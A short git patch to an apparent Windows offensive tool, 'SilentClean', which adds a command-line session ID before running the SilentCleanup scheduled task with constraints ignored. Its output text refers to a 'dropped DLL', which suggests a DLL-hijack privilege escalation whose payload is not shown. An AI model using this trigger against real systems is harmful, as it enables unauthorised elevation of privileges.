From a9aeff1d1265b356379bcdc62892f914cab75158 Mon Sep 17 00:00:00 2001 From: 0xffhh Date: Wed, 14 Jul 2021 15:48:20 +0200 Subject: [PATCH] Added optional commandline argument to specify the SessionID from the commandline. --- SilentClean/SilentClean/Program.cs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/SilentClean/SilentClean/Program.cs b/SilentClean/SilentClean/Program.cs index 933d05b..d333a5a 100644 --- a/SilentClean/SilentClean/Program.cs +++ b/SilentClean/SilentClean/Program.cs @@ -15,7 +15,16 @@ static void Main(string[] args) { var task = tasksrvc.FindAllTasks(new Regex("SilentClean*")); Console.WriteLine("\n[*] Starting Task"); - task[0].RunEx(TaskRunFlags.IgnoreConstraints | TaskRunFlags.UseSessionId, 1, "", ""); + int sessionId = 1; + if (args.Length > 0) + { + bool success = int.TryParse(args[0], out sessionId); + if (!success) //take 1 as default sessionID if the first cmdline argument isn't an integer. + { + sessionId = 1; + } + } + task[0].RunEx(TaskRunFlags.IgnoreConstraints | TaskRunFlags.UseSessionId, sessionId, "", ""); Console.WriteLine("\n[*] Make sure to clean-after yourself and remove the dropped DLL"); } } catch (Exception e)